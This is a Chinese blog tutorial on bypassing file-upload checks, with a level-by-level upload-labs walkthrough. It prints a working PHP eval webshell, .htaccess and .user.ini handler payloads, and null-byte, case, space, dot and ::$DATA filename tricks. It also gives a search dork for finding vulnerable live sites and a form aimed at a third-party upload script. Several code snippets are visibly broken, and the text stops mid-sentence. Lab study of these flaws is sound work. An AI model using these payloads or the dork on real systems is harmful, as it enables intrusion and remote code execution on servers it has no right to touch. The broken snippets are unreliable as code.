暂无图片
暂无图片
暂无图片
暂无图片
暂无图片

【116期咖面】文件上传黑白名单绕过

在下小黄 2021-08-07
2333

一、文件上传常见验证:

客户端验证:客户端校验

  • 一般都是在网页上写一段 JavaScript 脚本,校验上传文件的后缀名,有白名单形式也有黑名单形式。判断方式:在浏览加载文件,但还未点击上传按钮时便弹出对话框,
  • 内容如:只允许上传.jpg/.jpeg/.png后缀名的文件,而此时并没有发送数据包。

服务端验证:

  • 直接验证方法:直接查看文件名后缀。
  • 间接验证方法:通过文件头和类型来进行识别。

后缀名:黑名单、白名单

  • **黑名单:**明确不允许上传的文件格式后缀
    • 常见脚本格式:ASP、PHP、JSP、ASPX、cgi、war ......
    • 可能绕过方式(与网站搭建平台和设置格式有关):php5 、phtml .......
对于黑名单的检测方式,我们有如下几种办法绕过:
1. 后缀名大小写混用(只能在Linux系统环境下进行解析)
假如.php后缀,我们可以写成.PHp之类的形式,用于一些过滤不严谨的系统。

2. 特殊后缀绕过(利用难度较高)
将Burpsuite截获的数据包中xxxx.php名字改为xxxx.php4(php1,php2,php3,php4,php5),
前提条件是http.conf中设置 AddType application/x-httpd-php .php1(php的版本小于等于5.3.29以下)

3. 配合操作系统文件命名规则绕过:
在windows系统下,如果文件名以“.”或者空格作为结尾,系统会自动删除“.”与空格,利用此特性也可以绕过黑名单验证。
apache中可以利用点结尾和空格绕过,asp和aspx中可以用空格绕过。

4. 双写后缀
在一些系统中,仅仅匹配非法后缀删除,这个时候我们构造.pphphp,当它将第一个php匹配删除之后,剩下的字符又重新组合成了.php。

能被WEB容器解析的文件其他扩展名列表:

  jsp, jspx ,jspf

  asp asa cer cdx,htr,xml,html

  aspx,ashx,asmx,asax,ascx

  • **白名单:**明确可以上传的文件格式:
    • JPG、PNG、zip、rar、gif .......
    • 相对于黑名单要安全一些。
白名单绕过方法:
一、%00 截断上传绕过:
通过抓包截断将XXXX.asp.jpg后面的一个.换成%00在上传的时候即XXXX.asp%00.jpg,
当文件系统读到%00时,会认为文件已经结束,从而将XXXX.asp.jpg的内容写入到XXXX.asp中,从而达到攻击的目的。
%00不是针对所有基于白名单的后缀名检查都能绕过,代码的实现过程中必须存在截断上传漏洞,上传格式如下:
 XXXX.asp %00.jpg
 路径/updata/XXXX.asp(0x00).jpg

二、 突破文件路径绕过:(待验证 !!!)
在文件上传时,程序通常允许用户将文件放到指定的目录中,如果指定的目录存在,就将文件写入目录中,不存在的话则先建立目录,然后写入。
比如:在前端的HTML代码中,有一个隐藏标签<input type="hidden" name="Extension" value="up"/> 在服务器端有如下代码 if(!is_dir($Extension)){ //如果文件夹不存在,就建立文件夹

    mkdir($Extension);

    }

攻击者可以利用工具将表单中value的值由“up”改为“pentest.asp”,并上传一句话图片木马文件。
程序在接收到文件后,对目录判断,如果服务器不存在pentest.asp目录,将会建立此目录,然后再将图片一句话密码文件写入pentest.asp目录,如果Web容器为IIS 6.0,那么网页木马会被解析。

二、.htaccess 文件重写绕过:
  配合黑名单列表绕过,上传一个自定义的.htaccess和一句话图片木马,就可以轻松绕过各种检测,该文件仅在Apache平台上存在,.htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能IIS平台上不存在该文件,该文件默认开启,启用和关闭在httpd.conf文件中配置。

.htaccess 文件的写法:

<FilesMatch "backlion.jpg">

   SetHandler application/x-httpd-php

   </FilesMatch>

保存为.htaccess文件。该文件的意思是,只要遇到文件名中包含有” backlion.jpg”字符串的任意文件,统一被当作php执行。如果这个” backlion.jpg”的内容是一句话木马,即可利用中国菜刀进行连接

前提条件是:大于等于php版本5.3.39以下

三、配合web容器的解析漏洞:
  IIS中的目录解析漏洞和分号解析漏洞: 将一句话木马的文件名backlion.php,改成backlion.php.abc(奇怪的不被解析的后缀名都 行)。
 首先,服务器验证文件扩展名的时候,验证的是.abc,只要该扩展名符合服务器端黑白名单规则,即可上传。

  nginx空字节漏洞 xxx.jpg%00.php 这样的文件名会被解析为php代码运行

  apache的解析漏洞,上传如a.php.rar a.php.gif 类型的文件名,可以避免对于php文件的过滤机制,但是由于apache在解析文件名的时候是从右向左读,如果遇到不能识别的扩展名则跳过,rar等扩展名是apache不能识别的,因此就会直接将类型识别为php,从而达到了注入php代码的目的

目录位置修改绕过的几种形式:
第一种:
upload/1.asp%00.jpg   #asp中的修改目录位置%00的拦截

bk.jpg  #post提交一句话图片马或者其他白名单为一句话木马

------->upload/1.asp%00.jpg/bk.jpg  #最终生成的文件访问路径

第二种:
upload/bk.asp;    # windows2003 iis6.0中目录路径后添加一个bk.asp;的目录    

bk.jpg    #post上传的文件类型将bk.jpg一句话图片马

----->upload/bk.asp;14127900008.asp  ##最终的URL访问路径

这里以动网6.0为例,先上传一个正常的图片,会生成如:files/201210010321944973.jpg文件。
第一种突破方法:先上传一句话图片马如1.jpg,然后拦截将其 FilePath 值改为“files/backlion.asp□

最终生成:“files/backlion.asp□/201210010321944973.jpg,实际就是files/backlion.asp

第二种突破:先上传一句话图片马如1.jpg,然后拦截将其 FilePath 值改为“backlion.asp;最终生成:“backlion.asp;201210010321944973.jpg


文件类型:MIME信息

  • 使客户端软件,区分不同种类的数据,例如web浏览器就是通过MIME类型来判断文件是GIF图片,还是可打印的PostScript文件。web服务器使用MIME来说明发送数据的种类, web客户端使用MIME来说明希望接收到的数据种类,它是服务器用来判断浏览器传递文件格式的重要标记项。

  • 上传文件的时候呢,会自带一个文件上传格式信息。

  • 可以通过抓包来进行修改上传。

  • 此类后端检查时,检查的是Content-Type,也叫Mime-Type,这个时候,我们上传一个PHP文件,通过BurpSuite抓包,将.php后缀的Content-Type: application/octet-stream更改为.jpg的Content-Type: image/jpeg。

  • 然后发包,就可以绕过后端基于Content-Type的检测。

  • 将“Content-Type”的参数类型更改为“image/ *”即可,例如“image/png”, “image/jpeg”, “image/gif”

  • 需要配合文件包含漏洞绕过。

常见文件类型:

超文本标记语言文本 .html text/html
xml文档 .xml text/xml
XHTML文档 .xhtml application/xhtml+xml
普通文本 .txt text/plain RTF文本 .rtf application/rtf
PDF文档 .pdf application/pdf Microsoft
Word文件 .word application/msword
PNG图像 .png image/png
GIF图形 .gif image/gif
JPEG图形 .jpeg,.jpg image/jpeg
au声音文件 .au audio/basic
MIDI音乐文件 mid,.midi audio/midi,audio/x-midi
RealAudio音乐文件 .ra, .ram audio/x-pn-realaudio
MPEG文件 .mpg,.mpeg video/mpeg
AVI文件 .avi video/x-msvideo
GZIP文件 .gz application/x-gzip
TAR文件 .tar application/x-tar

text/plain(纯文本)
text/html(HTML文档)
text/javascript(js代码)
application/xhtml+xml(XHTML文档)
image/gif(GIF图像)
image/jpeg(JPEG图像)
image/png(PNG图像)
video/mpeg(MPEG动画)
application/octet-stream(二进制数据)
application/pdf(PDF文档)
application/(编程语言) 该种语言的代码
application/msword(Microsoft Word文件)
message/rfc822(RFC 822形式)
multipart/alternative(HTML邮件的HTML形式和纯文本形式,相同内容使用不同形式表示)
application/x-www-form-urlencoded(POST方法提交的表单)
multipart/form-data(POST提交时伴随文件上传的表单)

绕过方式:

一、运行上传文件包含脚本木马和一句话木马内容:(这里讲解一下一句话木马)
前提:校验规则只校验当文件后缀名为asp/php/jsp的文件内容是否为木马。
1. 先上传一个内容为木马的txt后缀文件,因为后缀名的关系没有检验内容;
2. 然后再上传一个.php的文件,内容为<?php Include(“上传的txt文件路径”);?>
此时,这个php文件就会去引用txt文件的内容,从而绕过校验,下面列举包含的语法:

PHP   

<?php Include("上传的txt文件路径");?>

ASP   

<!--#include file="上传的txt文件路径" -->

JSP   

<jsp:inclde page="上传的txt文件路径"/>

or 

<%@include file="上传的txt文件路径"%>
  
二、存在本地文件包含漏洞,并可上传一句话内容马:(网上搜集的待验证!!!)
1. 上传一个符合条件格式的文档,文档内容为一句话木马,
  eg:test.txt
2. 利用文件包含漏洞包含上传的木马文件,
  eg:page?id=D:/www/test.txt
  
三、修改URL的参数绕过:(需要进行验证!!!)
谷歌关键字:inurl:newslist.asp?NodeCode=
将/uploadfile.asp?uppath=PicPath&upname=&uptext=form1.PicPath中的参数uptext的值改为form1.PicPath.asp即可绕过。
可以看出对参数 PicPath 进行了修改,这种漏洞主要是存在文件名或者路径过滤不严,在实战中多多观察 url 中的参数,可以尝试进行修改数据。
  
四、双重文件上传绕过:(需要进行验证!!!)
  通过保存以下代码为1.html修改上传:

  <form  action="http://edu2b.sinaapp.com/Upfile_AdPic.asp"   method="post"

  name="form1"  enctype="multipart/form‐data">


  <input  name="FileName1"  type="FILE"  class="tx1"  size="40">

  <input  name="FileName2"  type="FILE"  class="tx1"  size="40">

  <input  type="submit"  name="Submit"  value="上传">

  </form>

  //在第一个框内选择一个 jpg 图片,文件名为“yueyan.jpg”,在第

  二个框内选择一个 cer 文件,文件名为“yueyan.cer”,点“上传”把这两个文件提交给程序即可。

文件头:内容头信息

  • 图片格式往往不是根据文件后缀名去做判断的。文件头是文件开头的一段二进制,不同的图片类型,文件头是不同的。文件头又称文件幻数。

  • 不同类型的文件,文件头信息不相同。

  • 可以通过抓包来进行修改上传。

  • 这个时候他会检测文件的16进制数据头是否是合法文件的数据头,这个时候我们找一个普通的图片文件,再写一个一句话木马文件:

  • 隐写术可以看这篇文章图片隐写术总结

  • 然后通过前面隐写术的方法,进入两个文件的路径,在cmd中输入:copy/b 1.jpg+1.php 2.jpg就可以制作图片马,但是需要配合解析漏洞 或者在线工具 在线图片添加/解密隐藏信息(隐写术)工具

  • 常见文件幻数

  • PNG:文件头标识 (8 bytes) 89 50 4E 47 0D 0A 1A 0A

  • JPEG:文件头标识 (2 bytes): 0xff, 0xd8 (SOI) (JPEG 文件标识)

  • GIF:文件头标识 (6 bytes) 47 49 46 38 39(37) 61

格式文件头
TIFF (tif)49492A00
Windows Bitmap (bmp)424D
CAD (dwg)41433130
Adobe Photoshop (psd)38425053
Rich Text Format (rtf)7B5C727466
MS Word/Excel (xls.or.doc)D0CF11E0
MS Access (mdb)5374616E64617264204A
ZIP Archive (zip),504B0304
RAR Archive (rar),52617221
Wave (wav),57415645
AVI (avi),41564920
Real Media (rm),2E524D46
MPEG (mpg),000001BA
MPEG (mpg),000001B3
Quicktime (mov),6D6F6F76
Adobe Acrobat (pdf),255044462D312E
Windows Media (asf),3026B2758E66CF11
MIDI (mid),4D546864

二、简要上传表单代码分析解释:

upload 靶场第二题源码分析


<form enctype="multipart/form-data" method="post" onsubmit="return checkFile()">
    <p>请选择要上传的图片:<p>
    <input class="input_file" type="file" name="upload_file"/>
    <input class="button" type="submit" name="submit" value="上传"/>
</form>


  • 这是一个HTML代码。
  • enctype 是提交类型。
  • method 是请求方法。
  • onesubmit 是鼠标触发时间,当你点击之后会返回后面的那个函数。
  • name 第一个是name 是参数名字、第二个是鼠标触发名字。
<? php?
    $name = $_FILES['upload_file']['name'];
    echo $name;
>

// HTML
<form enctype="multipart/form-data" method="post" action="">
    <p>请选择要上传的图片:<p>
    <input class="input_filetype="filename="upload_file"/>
    <input class="buttontype="submitname="submitvalue="上传"/>
</form>

  • $_FILES : 这是PHP里面的一个全局变量,专门是接收文件上传的操作数据。
  • $_FILES 详解。
  • HTML 中表单中接收到的数据就会以 name 值发送到 $_FILES['upload_file'] 变量中。['name'] 代表接收到的文件名。
  • echo $name :输出这个文件名。
  • action="" :表示提交会给当前这个文件。
<? php?
  //输出文件名称
    echo $_FILES['upload_file']['name'];
 //输出文件类型
    echo $_FILES['upload_file']['type'];
 //输出文件大小(字节)
  echo $_FILES['upload_file']['size'];
>

三、演示案例:

  • 在举例之前的呢,我们要做一些前期准备。

前期准备

  1. 安装一下集成环境:这里推荐使用 PHPstudy 2018
    (PHPstudy 2018 可以在我的微信公众号获取)
  2. 安装好环境之后我们来编写一个一句话木马(如何编写我们之后详细讲解)
  3. 写好之后呢,我们进行本地利用。

  • 接下来我来完整的给大家演示一遍

  • 掏出我们之前准备好的一句话木马,放在phpStudy\PHPTutorial\WWW
    目录下
<?php @eval($_POST[x]); ?>

  • 本地访问: 127.0.0.1/shell.php(我们刚才创建的木马文件名称)
  • 打开HackBar(浏览器插件)
    :尝试利用这个一句话木马来返回PHPinfo
    的信息
  • 构建返回PHPinfo
    的语句:X=phpinfo();
    这也是一个任意代码执行,我们通过变量X
    传递的任何指令都会被当做PHP
    代码来执行。也可以通过这条指令来调用调用系统函数:X=system(whomai); 、x=system(whomai);

  • 准备好上传的 shell.php文件(一句话木马)
<?php @eval($_POST[x]); ?>

<?php @eval('phpinfo();'); ?>

  • $_POST[x]
    :  获取 POST
    请求参数中X的值。例如POST
    请求中传递 x=phpinfo();
    ,那么 $_POST[x]
    就等同于phpinfo();
  • eval()
    将字符串当做PHP代码去执行。例如 eval('phpinfo();')
    ,其中 phpinfo();
    会被当做PHP代码去执行。
<?php @eval($_POST[x]); ?>   实际上的传递过程是这样的
   ↓
   ↓   
   ↓
<?php @eval('phpinfo();'); ?> 实际的语句是这样的

  • 我们通过该webshell
    ,传递任意PHP代码
    ,让其去执行,从而达到任意代码执行
  • 错误控制运算符,当将 @
    放置在一个PHP表达式之前,该表达式可能产生的任何错误信息都被 忽略
    掉。

第一关:前端JS验证

  • 第一关是一个针对于前端的验证,也就是使用JavaScript进行验证。

  • 先写一个php文件,你可以写一个一句话木马,也可以写一个phpinfo,因为phpinfo看起来更加直接一点。我这里文件内容就写一个phpinfo()吧。

  • 进入正题,选择我们要上传的php文件,我这里就以关卡来命名,点击上传,出现提示,这明显的是一个js的alert提示框。我们就来尝试进行绕过。

  • 我们先上传一个文件上去看看效果,上传失败,说不允许上传PHP文件

image.png
  • 根据提示:本pass在客户端使用js对不合法图片进行检查!
  • 可以得出是前端JS验证。
  • 绕过方法:禁用JS脚本。
  • 上传成功。

绕过原理:

  • 就是对上传文件进行一个JavaScript脚本的验证。屏蔽掉就行了。
function checkFile({
    var file = document.getElementsByName('upload_file')[0].value;
  // 获取文件名
    if (file == null || file == "") {
        alert("请选择要上传的文件!");
        return false;
    }
    //定义允许上传的文件类型
    var allow_ext = ".jpg|.png|.gif";
    //提取上传文件的类型
    var ext_name = file.substring(file.lastIndexOf("."));
    //判断上传文件类型是否允许上传
    //通过lastIndexOf取到“.”的索引,再使用substring函数截取 .后缀名
    if (allow_ext.indexOf(ext_name + "|") == -1) {
    //如果 allow_ext 中没有 ext_name字符串,则返回-1
        var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
        alert(errMsg);
        return false;
    }
    //判断上传文件类型是否允许上传
}

第二关:服务端MIME验证

  • 根据提示:本pass在服务端对数据包的MIME进行检查!
  • 绕过方法:我们来抓个包来看看,修改一下Content-Type
    字段。
  • Content-Type: image/png

绕过原理:

<?php
include '../config.php';
include '../head.php';
include '../menu.php';

$is_upload = false;
$msg = null;

// 当点击鼠标上传的时候,进行验证
if (isset($_POST['submit'])) {
  // UPLOAD_PATH 声明在配置文件上的文件上传路径,来判断路径是否存在。
    if (file_exists(UPLOAD_PATH)) {
      // 进行上传文件类型判断, || 或的意思
        if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name']; 
          // move_uploaded_file 移动文件函数,将前者移动到后者哪里
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '文件类型不正确,请重新上传!';
        }
    } else {
        $msg = UPLOAD_PATH.'文件夹不存在,请手工创建!';
    }
}
?>


<?php
header("Content-type: text/html;charset=utf-8");
error_reporting(0);
define("WWW_ROOT",$_SERVER['DOCUMENT_ROOT']);
define("APP_ROOT",str_replace('\\','/',dirname(__FILE__)));
define("APP_URL_ROOT",str_replace(WWW_ROOT,"",APP_ROOT));
//文件包含漏洞页面
define("INC_VUL_PATH",APP_URL_ROOT . "/include.php");
//设置上传目录
define("UPLOAD_PATH""../upload");
?>

第三关:黑名单绕过

  • 根据提示:本pass禁止上传.asp|.aspx|.php|.jsp后缀文件!
  • 比较容易想的绕过方法:
    • 大小写绕过
    • 用其他可被解析的后缀名来代替 : .phtml .phps .php5 .pht
  • 大小写绕过失败!
image.png
  • 尝试用其他后缀名试试:.php5

绕过原理:

  • 黑名单验证,只要避免啊上传这种后缀就可以正常的进行文件上传。
  • trim 函数详解
  • strrchr 函数详解
<?php
include '../config.php';
include '../common.php';
include '../head.php';
include '../menu.php';

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
      // 声明了变量 deny_ext(拒绝_后缀名)
        $deny_ext = array('.asp','.aspx','.php','.jsp');
      // trim 过滤为空的函数,替换空格。自动去除空格
        $file_name = trim($_FILES['upload_file']['name']);
      //trim去除字符创两侧的的特殊字符
        $file_name = deldot($file_name);//删除文件名末尾的点,xiasohuang.jpg.php 防止上传验证为jpg格式实际上是php代码。
      $file_ext = strrchr($file_name, '.');
      // strrchr 分隔字符,就是删除掉.前面的文件名称,这样就得到了文件的真实后缀了。
      //取出后缀名 如:.txt
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA''', $file_ext);//去除字符串::$DATA,将目标中的::$DATA替换为空。
        $file_ext = trim($file_ext); //收尾去空

      // 判断接收到的文件中,有没有黑名单里面的后缀,就继续进行文件上传,如果存在就不允许上传这个格式。
        if(!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
       //获取当前时间 再连接上一个随机数和后缀名,生成一个新的文件名与上传路径拼接    
            if (move_uploaded_file($temp_file,$img_path)) {
                 $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}
?>

  • 网上搜了一下,原来需要对apache配置文件做修改,在phpstudy中点击“其他选项菜单”打开Apache配置文件httpd-conf
image.png

第四关:.htaccess绕过

  • 根据提示:
image.png
  • 绕过方法:
    • 首先通过抓包来上传一个.htaccess(害可C死),只上传.htaccess,不要文件名(因为.htaccess是一个配置文件)
    • 然后上传一个shana.jpg格式文件,为什么是(shana因为这个文件是自己定义的)

绕过原理:

  • 这是解析漏洞 只有apache才有。
  • .htaccess文件(或者"分布式配置文件"),全称是Hypertext Access(超文本入口)。
  • 提供了针对目录改变配置的方法, 即,在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。作为用户,所能使用的命令受到限制。管理员可以通过Apache的AllowOverride(e捞我V乳癌的)指令来设置。
  • 这个漏洞的原理就是服务器没有过滤htaccess文件的上传,而htaccess文件上传后,当前目录就会按照这个配置文件里面的内容执行。
<FilesMatch "自定义">
Sethandler application/x-httpd-php
</Eilesmatch >

  • 然后上传“自定义.可以上传的后缀” 都会按照“自定义.php”来执行
  • 前提:只试用于Apache 平台的伪静态转换,是Apache文件一个配置文件。
  • .htaccess 代码 ,保存到文件,文件类型 .htaccess
  • 参考链接
<FilesMatch "shana">
SetHandler application/x-httpd-php
</FilesMatch>

// FilesMatch 文件匹配 ,如果匹配到文件中存在 "shana" 就会将文件以解析 application/x-httpd-php 类型进行解析。

  • 首先将这个文件( .htaccess),进行上传,上传之后,再次解析文件的话就会以这个(刚才上传的配置文件为主)
  • 然后将文件名中含有 "shana" 字段的图片进行上传,就会将文件以 php 代码进行解析了。(也可以在最后添加 phpinfo 进行回显)
  • 就可以进行访问了。

第五关:.user.ini 绕过

  • user.ini文件构成的PHP后门
  • 根据提示:上传目录存在php文件(readme.php)
image.png
  • 绕过方法:
    • 复写后缀名绕过
    • 先上传.user.ini
      文件,然后再上传一个5.jpg文件,实现绕过。
.user.ini文件内容:

auto_prepend_file=5.jpg

绕过方式一:

image.png

绕过方式二:

绕过原理:

  • 自 PHP 5.3.0 起,PHP 支持基于每个目录的 .htaccess 风格的 INI 文件。
  • 此类文件仅被 CGI/FastCGI SAPI 处理。
  • 此功能使得 PECL 的 htscanner 扩展作废。
  • 如果使用 Apache,则用 .htaccess 文件有同样效果。
  • 除了主 php.ini 之外,PHP 还会在每个目录下扫描 INI 文件,从被执行的 PHP 文件所在目录开始一直上升到 web 根目录($_SERVER['DOCUMENT_ROOT'] 所指定的)。
  • 如果被执行的 PHP 文件在 web 根目录之外,则只扫描该目录。
  • 在 .user.ini 风格的 INI 文件中只有具有 PHP_INI_PERDIR 和 PHP_INI_USER 模式的 INI 设置可被识别。
  • 两个新的 INI 指令,user_ini.filename 和 user_ini.cache_ttl 控制着用户 INI 文件的使用。
  • user_ini.filename 设定了 PHP 会在每个目录下搜寻的文件名;如果设定为空字符串则 PHP 不会搜寻。默认值是 .user.ini。
  • user_ini.cache_ttl 控制着重新读取用户 INI 文件的间隔时间。默认是 300 秒(5 分钟)。
  • 但是想要引发 .user.ini 解析漏洞需要三个前提条件:
    • 服务器脚本语言为PHP
    • 服务器使用CGI/FastCGI模式
    • 上传目录下要有可执行的php文件
  • 先来创建一个 .user.ini 文件并写入一下内容:auto_prepend_file=x.png
  • 上传 .user.ini 后,再上传一个 x.png 文件,此时 x.png 文件只要有符合 php 语言的代码就会执行。

第六关:大小写绕过

  • 根据提示:
image.png
  • 绕过方法:
    • 通过抓取上传数据包,修改上传的文件后缀,实现上传。
<?php
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
      // 通过源代码我们可以发现,黑名单里虽然过滤的很全面,但是在下面的后缀名处理之中却出现了纰漏,没有将后缀名转换为小写。只是将文件名转化为小写
        $file_ext = str_ireplace('::$DATA''', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空
        
        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件类型不允许上传!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

?>

image.png

绕过原理:

$file_ext = strtolower($file_ext); //转换为小写
// 通过源代码我们可以发现,黑名单里虽然过滤的很全面,但是在下面的后缀名处理之中却出现了纰漏,缺少将后缀名转换为小写。只是将文件名转化为小写

  • 原理:借助了系统的特性。
    • Windows 会强制将后面的空格平掉。但是在数据包上空格是不会去掉的。这样就可以跳过黑名单绕过。
    • 上传到系统之后,系统又会强制给平掉,来实现绕过。
    • 所以在网站没有收尾去空的话 而且又是windows系统 就可以采用'1.php '这种方式来绕过 或者多加一些空格 1.php.这样也是一样的原理。
    • 上传1.php(或者图片马),抓包改为1.php:1.jpg 也是一样的原理。
<?php
include '../config.php';
include '../common.php';
include '../head.php';
include '../menu.php';

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = str_ireplace('::$DATA''', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空

        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件类型不允许上传!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}
?>

第七关:空格绕过

  • 根据提示:
image.png
  • 绕过方法:
    • 通过抓取上传数据包,修改上传的文件后缀,实现上传。
image.png

绕过原理:

  • 在windows系统下,如果文件名以“.”或者空格作为结尾,系统会自动删除“.”与空格,利用此特性也可以绕过黑名单验证。apache中可以利用点结尾和空格绕过,asp和aspx中可以用空格绕过。

第八关:点绕过

  • 根据提示:本pass禁止上传所有可以解析的后缀!
image.png
  • 绕过方法:
    • 通过抓取上传数据包,修改上传的文件后缀,实现上传。
image.png

绕过原理:

  • 在windows系统下,如果文件名以“.”或者空格作为结尾,系统会自动删除“.”与空格,利用此特性也可以绕过黑名单验证。apache中可以利用点结尾和空格绕过,asp和aspx中可以用空格绕过。

第九关:::$DATA绕过

  • 根据提示:
image.png
  • 绕过方法:
    • 通过抓取上传数据包,修改上传的文件后缀,实现上传。
image.png

绕过原理:

  • 这也是利用的windows的命名特性 在window的时候如果文件名+"::$DATA"
    会把::$DATA
    之后的数据当成文件流处理,不会检测后缀名,且保持::$DATA
    之前的文件名,他的目的就是不检查后缀名
  • 例如:"phpinfo.php::$DATA"
    Windows会自动去掉末尾的::$DATA
    变成"phpinfo.php"

第十关:点+空格+点绕过

  • 根据提示:本pass只允许上传.jpg|.png|.gif后缀的文件!
image.png
  • 绕过方法:
    • 通过抓取上传数据包,修改上传的文件后缀,实现上传。
image.png

绕过原理:

  • 在windows系统下,如果文件名以“.”或者空格作为结尾,系统会自动删除“.”与空格,利用此特性也可以绕过黑名单验证。apache中可以利用点结尾和空格绕过,asp和aspx中可以用空格绕过。
  • 经过脚本一系列的处理之后原本.php. .的后缀名变成了.php. ,而由于Windows的特性,又将文件末尾的点给去除了,最终就存的时候.php的文件。同理也可以上传.htaccess. .等文件。。。(就算没有经过脚本的处理,.php. .在windows中也是会被存储为.php)

第十一关:双写绕过

  • 根据提示:
image.png
  • 绕过方法:
    • 假设:将代码中的字符串里面PHP替换为空, a.php ---> a.
    • 如果是一次过滤:a.pphphp  ----> a.php
    • 如果是循环过滤(也就是递归过滤,更加安全)a.pphphp  ----> a.
    • 那么我们就可以上传数据包中修改数据来通过:xxxxx.php. . 来进行绕过。
image.png

第十二关:00截断

  • 根据提示:本pass上传路径可控!
image.png
  • 绕过方法:
    • 当是POST接收情况的时候,正确的用法应该是我们需要对 %00 做一个URL编码,也就是URL-decode;
    • 如果通过POST方法进行传输,与GET方法不同,POST方法不会对%00进行解码,我们需要选中%00,通过ctrl+shift+u快捷键进行转换才行。
    • 直接写%00也没问题。

第十三关:00截断

  • 根据提示:本pass上传路径可控!
image.png
  • 绕过方法:
    • 通过抓取数据包可以看到,文件路径的参数是以post方式提交的,我们在参数后面加个点。
    • 点击hex
      ,打开16进制编辑器。找到点那个位置,将它修改为00
      ,因为不是在url中的参数,所以不能用%00
      ,会无法解析

绕过原理:

  • 这时候就要利用0x00截断原理了,具体原理是 系统在对文件名的读取时,如果遇到0x00,就会认为读取已结束。
  • 但要注意是文件的16进制内容里的00,而不是文件名中的00 !!!就是说系统是按16进制读取文件(或者说二进制),
  • 遇到ascii码为零的位置就停止,而这个ascii码为零的位置在16进制中是00,用0x开头表示16进制,也就是所说的0x00截断
  • 当系统读取到0x00时,认为已经结束,不会再读取后面将要拼接的13.jpg,认为是php文件,完成绕过。

%00截断 与 0x00截断的区别?

  • 地址上面文件命名的区别。
  • %00上是建立在地址信息上的
  • 0x00 文件
  • 操作方法基本一致。

%00截断 与 0x00截断的实战中的区别?

  • 平时一定要多观察一下数据包,数据包中包含了很多参数,很多参数可以进行修改。
<?php
 $img_path = $_GET['save_path']."/".rand(1099).date("YmdHis").".".$file_ext;
 ? save_path = ../upload/1.php%00
    
==> ? save_path = ../upload/1.php%00/(%00相当于是截断)/1313131.jpg   后面这些东西相当于没有了 1313131.jpg
    
==>   $img_path = $_GET['../upload/1.php%00 ']

==>   最终结果:../upload/1.php

==> php版本:5.3版本以下
 
?>

00截断总结:

  • 形成条件 php版本小于5.3.29 magic_quotes_gpc = Off
  • 原理是原理是数据包中存在 path: uploads/,那么攻击者可以通过修改path的值来构造paylod: uploads/aa.php%00
  • 00截断有两种,一种是%00截断 使用在url那种地址上的 还有一种0x00截断使用在文件名命名上的
  • www.xxx.com/qq.php.jpg => www.xxx.com/qq.php
  • %00截断 GET 用法:
  • 当是GET接收情况的时候,直接用 %00 就可以了
image-20210511233502340.png
  • 某些情况下,直接在文件名中加 %00 进行截断这是不对的,因为 %00 会以字符串的形式解析了。如果没有做后缀名判断的情况下,那样会变成:
